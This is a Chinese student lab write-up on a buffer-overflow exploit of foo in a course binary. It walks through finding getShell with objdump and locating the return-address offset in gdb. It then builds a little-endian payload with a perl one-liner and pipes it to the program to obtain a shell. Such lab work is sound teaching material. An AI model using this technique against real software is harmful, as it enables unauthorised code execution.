1. 程式人生 > >利用foo函數的Bof漏洞攻擊

利用foo函數的Bof漏洞攻擊

返回 十六進制 知識 cnblogs 應該 管道符 做的 就會 攻擊

利用foo函數的Bof漏洞攻擊

一、基礎知識儲備

objdump反匯編指令、gdb函數調試運行、Perl語言、|管道符

二、實驗步驟

1. 通過反匯編了解程序功能及代碼

技術分享圖片

技術分享圖片
①反匯編查看文件內容

②可以知道getShell函數地址為0804847d

③可知foo函數執行完成之後,系統會調用的下一條指令的地址為80484ba,此地址為返回地址

我們要做的就是通過foo函數的Bof漏洞輸入一段設計好的字符串覆蓋掉80484ba,使得80484ba的值為0804847d,這樣就會執行getshell函數。

2. 確定輸入的哪幾個字符會覆蓋返回地址

2.1調試運行程序 gdb

技術分享圖片

通過輸入gdb 20154305 指令調試程序,再輸入r

運行程序

2.2 輸入一串字符大致確定覆蓋位置

技術分享圖片

④程序運行後我們輸入字符串111111112222222233333333444444445555555566666666

⑤程序出現分段錯誤,0x35353535 in ?? (),意思是這個地址的指令錯誤

此時我們通過info r查看寄存器信息

⑥顯示出eip指令寄存器存儲的地址為0x35353535,此ASCII值代表5555

⑦也可以通過info r eip指令直接顯示指令寄存器存儲的地址。

5555則可以知道我們輸入的字符串從55555555開始溢出,但是還不確定是哪四個5

2.3 進一步確定覆蓋位置

繼續調試運行20154305文件

技術分享圖片

⑧輸入字符串`1111111122222222333333334444444412345678‘產生溢出錯誤

⑨查看指令寄存器eip內的值為0x34333231,表示4321

由此可知,我們輸入的字符串1111111122222222333333334444444412345678中的1234覆蓋了返回地址的值

所以接下來我們需要修改1234的值為0804847d進行覆蓋

3. 構造輸入字符串

3.1 確定字符串輸入順序

就是需要輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08

由⑨可以知道小字節優先,應該輸入11111111222222223333333344444444\x7d\x84\x04\x08

3.2 構造輸入字符串

由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。

鍵入perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
技術分享圖片

\x0a表示回車。

可以通過xxd查看文件十六進制格式的內容。

3.3 然後將input的輸入,通過管道符“|”,作為20154305的輸入,覆蓋返回地址

(cat input; cat) | ./20154305
技術分享圖片

此時我們就可以輸入Shell指令了

箭頭11ls就是Shell指令。

到此通過利用foo的B

of漏洞攻擊已經完成。###

三、實驗總結

利用緩沖區溢出的漏洞攻擊比較難的地方是如何確定輸入的哪些字符串會覆蓋返回地址,以及如何通過管道輸入,有些新的知識需要我這個小白消化理解。

利用foo函數的Bof漏洞攻擊